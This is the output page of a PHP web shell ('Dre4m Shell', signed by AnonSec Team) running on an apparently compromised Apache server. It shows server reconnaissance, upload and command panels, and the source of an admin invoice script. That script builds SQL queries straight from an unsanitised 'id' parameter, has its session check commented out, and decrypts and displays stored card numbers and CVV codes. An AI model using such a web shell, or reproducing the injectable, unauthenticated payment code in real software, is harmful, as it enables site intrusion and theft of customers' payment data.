Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.143.7.75
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin//invoice-details.php
<?php 
//require_once('session-check.php');
require_once('include/db-config.php');
require_once('include/skey.php');
$CardNumber = "";
?>


<!DOCTYPE html> <HTML>
<HEAD>
<TITLE>Joel Levitt, maintenance management, maintenance management consulting, tpms</TITLE>
<style type="text/css">
body, table, td, div, p
{
	font-family:Arial, Helvetica, sans-serif;
}
</style>
<script language="javascript">
	function show(value)
	{
		document.getElementById('cardno').innerHTML  = value; 
		document.getElementById('show').innerHTML = ''; 
	}
</script>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
</HEAD>
<BODY style="font:Arial, Helvetica, sans-serif;"  BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>

<?php 
          $ID = $_GET['id'];
		  
 		  $sql="select tb1.CouponCode,tb1.DiscountType,tb1.CouponAmount,tb1.OrderDate,tb2.Billing_FirstName,tb2.Billing_LastName,tb2.Billing_Address1,tb2.Billing_Address2,tb2.Billing_City,tb2.Billing_State,tb2.Billing_Country,tb2.Billing_Zip,tb2.Billing_EmailID,tb2.Shipping_FirstName,tb2.Shipping_LastName,tb2.Shipping_Address1,tb2.Shipping_Address2,tb2.Shipping_City,tb2.Shipping_State,tb2.Shipping_Country,tb2.Shipping_Zip,tb2.Shipping_EmailID from maintrainer_tbl_cart_master tb1 left join maintrainer_tbl_customer_information tb2 on tb2.CartMasterID= tb1.ID where tb1.ID=".$ID;	

		  $result=mysqli_query($conn,$sql);
		  
		  $row=mysqli_fetch_array($result);
		  $DiscountType =$row['DiscountType'];
		  $Discount =$row['CouponAmount'];
		  

?>

<TABLE WIDTH=900 BORDER=0 CELLPADDING=0 CELLSPACING=0 align="center">
<tr>
    <td colspan="2" class="title" align="center"><img src="images/invoiceheader.gif" border="0" ></td>
    </tr>
	<tr>
    <td align="left">
    <strong>Springfield Resources</strong>
                                                <br>
                                                205 Ash Lane,Lafayette Hill PA, 19444-2101
                                                <br>Phone: 610-397-1006
                                                <br>Fax: 610-397-1007
                                                <br>Toll Free: 800-242-5656
                                                <br>Email: jdl@maintrainer.com
                                                <br>URL: http://www.maintenancetraining.com
    </td>
    </tr>
    <tr>
		<td colspan="2" class="title" align="center"><h2><b>Invoice Details</b></h2></td>
        
	</tr>
    
	<tr>
	<td width="50%" align="left" class="textnormal">
		<strong>Date: <?php echo date('M-d-Y', strtotime($row['OrderDate'])) ?></strong>
	</td>
	<td width="50%" align="right" class="textnormal">
		<strong>Inv No. <?php echo $ID?></strong>
	</td>
	<tr><td colspan="2" style="height:20px;"></td></tr>
	<tr>
		<td width="50%" align="left" class="textnormal">
			<b>Billing Address</b>
			<br>
			<?php echo $row['Billing_FirstName'] ?> <?php echo $row['Billing_LastName'] ?>
			<br>
			<?php echo $row['Billing_Address1'] ?>
			<br>
			<?php
			if($row['Billing_Address2']!="")
			{
			 echo $row['Billing_Address2']; 
			 echo "<br>";
			}
			?>
			
			<?php echo $row['Billing_City'] ?>, <?php echo $row['Billing_State'] ?>
			<br>
			<?php echo $row['Billing_Country'] ?> - <?php echo $row['Billing_Zip'] ?>
            <br>
			Email ID: <?php echo $row['Billing_EmailID']; ?>
		</td>
		<td width="50%" align="right" class="textnormal">
			<b>Shipping Address</b>
			<br>
			<?php echo $row['Shipping_FirstName'] ?> <?php echo $row['Shipping_LastName'] ?>
			<br>
			<?php echo $row['Shipping_Address1'] ?>
			<br>
			<?php 
			if($row['Shipping_Address2']!="")
			{
			
			echo $row['Shipping_Address2']; 
			echo "<br>";
			}
			?>
			
			<?php echo $row['Shipping_City'] ?>, <?php echo $row['Shipping_State'] ?>
			<br>
			<?php echo $row['Shipping_Country'] ?> - <?php echo $row['Shipping_Zip'] ?>
            <br>
			Email ID: <?php echo $row['Shipping_EmailID']; ?>
		</td>
	</tr>
	</tr>
	<TR>
		<TD COLSPAN=2 WIDTH="100%" valign="top">
			<TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0 height="100%" align="center">
                <tr>
					<td height="100%" valign="top" class="prodtitle" align="center" style="padding-top:20px; padding-bottom:10px;">
						<b>Cart Items</b>
					</td>
				</tr>
				<TR>
                    <td width="100%" valign="top">
						<table border="1" cellpadding="10" cellspacing="0"  align="left" width="100%">
							<tr>
								<td class="cart_tbl_head"><b>Sl No</b></td>
								<td class="cart_tbl_head"><b>Product Category</b></td>
								<td class="cart_tbl_head"><b>Product Name</b></td>
                               <td class="cart_tbl_head" align="right"><b>Qty</b></td>
								<td class="cart_tbl_head" align="right"><b>Price</b></td>
							</tr>
							<?php
							$i=1;
							$tot=0;
							//$sql1="select ProductCategory,ProductName,ProductQty,ProductPrice from diamondtipblades_tbl_cart_details where CartMasterID=".$ID;
							$sql1="SELECT tb1.ProductCategory,tb1.ProductName,tb1.ProductQty,tb1.DiscountPercentage,tb1.ProductPrice,tb1.product_key,tb2.DownloadURL,tb2.DownloadFlag  FROM maintrainer_tbl_cart_details AS tb1 left outer join productnew AS tb2 ON tb1.Product_ID=tb2.ID WHERE tb1.CartMasterID=".$ID;
							$result1=mysqli_query($conn,$sql1);
							while($row1= mysqli_fetch_array($result1))
							{
							?>
														
							<tr>
								<td ><?php echo $i++ ?></td>
								<td><?php echo $row1['ProductCategory']?></td>
								<td class="cart_tbl_content"><?php echo $row1['ProductName']; echo "<br>"; if($row1['DiscountPercentage']!=0){echo "Volume Discount:".$row1['DiscountPercentage']."%Off";}else{}?>
                                <?php
								if(($row1['DownloadFlag']==1) and ($row1['DownloadURL']!=""))
								{
								?>
                                <br>	
                                Download Link : <font color="#FFFFFF"> <a href="<?php echo $row1['DownloadURL'];?>"target="_blank"><?php echo $row1['DownloadURL'];?></a></font> 
                                <?php
								}
								if($row1['product_key'] !="")
								{
								?>
                                <br>	
                                Product Key :&nbsp;&nbsp;<?php echo $row1['product_key'];?>
                                <?php
								}
								?>
                                </td>
                               
								<td class="cart_tbl_content" align="right"><?php echo $row1['ProductQty']?></td>
                                
								<td class="cart_tbl_content" align="right"><?php echo"$". $row1['ProductPrice']?></td>
							</tr>
							<?php
							   $tot=$row1['ProductPrice']+$tot;						 
							}
							?>
							
							<?php
							$sql2="select ShippingPrice,TotalProductPrice from maintrainer_tbl_cart_payment where CartMasterID=".$ID;
							$result2=mysqli_query($conn,$sql2);
							$row2=mysqli_fetch_array($result2) or die(mysqli_error());
							
							$ShippingPrice=$row2['ShippingPrice'];
							$TotalProductPrice=$row2['TotalProductPrice'];
							      if($DiscountType=="Amount")
							       {
								     $coupondics=$Discount;
							       }
								   else
								   {
									  $coupondics=($tot*$Discount)/100;
										
								   }
							
							 
							
							
						?>
                         <?php if(isset($DiscountType) && $row['CouponCode']!="") {?>
                           <tr>
								<td class="cart_tbl_head" colspan="4"><b>Coupon Discount<?php if($DiscountType!="Amount") echo "(".number_format($Discount,0)."%)";?></b><BR>
                                Coupon code: <?php echo $row['CouponCode'];?>
                                </td>
								<td class="cart_tbl_head" colspan="1" align="right"><?php if($DiscountType=="Amount"){echo "<b>$".$Discount."</b>";} else {echo "<b>$". number_format($coupondics,2)."</b>";} ?></td>
								 
							</tr>
                            
                            
                            <?php } ?>
							 <tr>
								<td class="cart_tbl_head" colspan="4"><b>Shipping Charge</b></td>
								<td class="cart_tbl_head" colspan="1" align="right"><?php echo"<b>$". number_format($ShippingPrice,2)."</b>" ?></td>
								
							</tr>
                                
                             <tr>
								<td class="cart_tbl_head" colspan="4"><b>Total</b></td>
								<td class="cart_tbl_head" colspan="1" align="right"><?php echo"<b>$". $TotalProductPrice."</b>" ?></td>
								
							</tr>
							
						</table>
					</td>
                </TR>
            </TABLE>
        </TD>
	</TR>
	
	<?php
		//$sql3="select  CardName,CardNumber,CardType,CardCVVNumber,CardExpYear,CardExpMonth,PayType,PoNumber,PoDetails,CheckNumber,CheckDetails from maintrainer_tbl_cart_cerditcard_details where CartMasterId=".$ID;
		$sql3="SELECT  tb1.CardName,tb1.CardNumber,tb1.CardType,tb1.CardCVVNumber,tb1.CardExpYear,tb1.CardExpMonth,tb1.PayType,tb1.PoNumber,tb1.PoDetails,tb1.CheckNumber,tb1.CheckDetails,tb2.TransactionID FROM maintrainer_tbl_cart_cerditcard_details AS tb1 LEFT OUTER JOIN maintrainer_tbl_cart_master AS tb2 ON tb1.CartMasterID=tb2.ID WHERE tb1.CartMasterID=".$ID;
		$result3=mysqli_query($conn,$sql3);
		$row3=mysqli_fetch_array($result3);
		if($row3['PayType']=="chk")
		{
		   $paytype="Check";
		}
		else if($row3['PayType']=="po")
		{
			$paytype="PO";
		}
		else if($row3['PayType']=="paypal")
		{
		   $paytype="Pay Pal";
		}
		else
		{
		   $paytype="Credit Card";	
		   $CardNumber = convert($row3['CardNumber'],$key);
		}
	
	?>
	<tr><td colspan="2" style="height:20px;"></td></tr>
	<tr>
		<td width="100%" align="left" class="textnormal" colspan="2">
			<b>Payment Details</b>
            <br>
            Payment Type: <?php echo $paytype;?>
            <?php if($row3['PayType']=="chk"){?>
            <br>
            Check Number: <?php echo $row3['CheckNumber'];?>
            <br>
            Check Details: <?php echo nl2br($row3['CheckDetails']);?>
            <?php } else if($row3['PayType']=="po"){?>
            <br>
            Po Number: <?php echo $row3['PoNumber'];?>
            <br>
            Po Details: <?php echo nl2br($row3['PoDetails']);?>
            <?php }else if($row3['PayType']=="paypal"){?>
            <br>
            Transaction ID: <?php echo $row3['TransactionID'];?>
            <br>
            <?php } else {?>
            <br>Card Holder Name: <?php echo $row3['CardName'] ?>
			<br>Card No: 
            <label id="cardno">XXXX XXXX XXXX <?php echo substr  ($CardNumber,  12, 4) ?></label>
            <label id="show"><a href="javascript:show('<?php echo $CardNumber; ?>');">show</a></label>
			<br>
			Card Type: <?php echo $row3['CardType'] ?>
			<br>
			CVV No. <?php echo $row3['CardCVVNumber'] ?>
			<br>
			Card Expiry: <?php echo $row3['CardExpMonth'] ?> <?php echo $row3['CardExpYear'] ?>
            <?php  } ?>
		</td>
	</tr>
    <Tr><td height="50"></td></Tr>
</TABLE>

</BODY>
</HTML>

Anon7 - 2022
AnonSec Team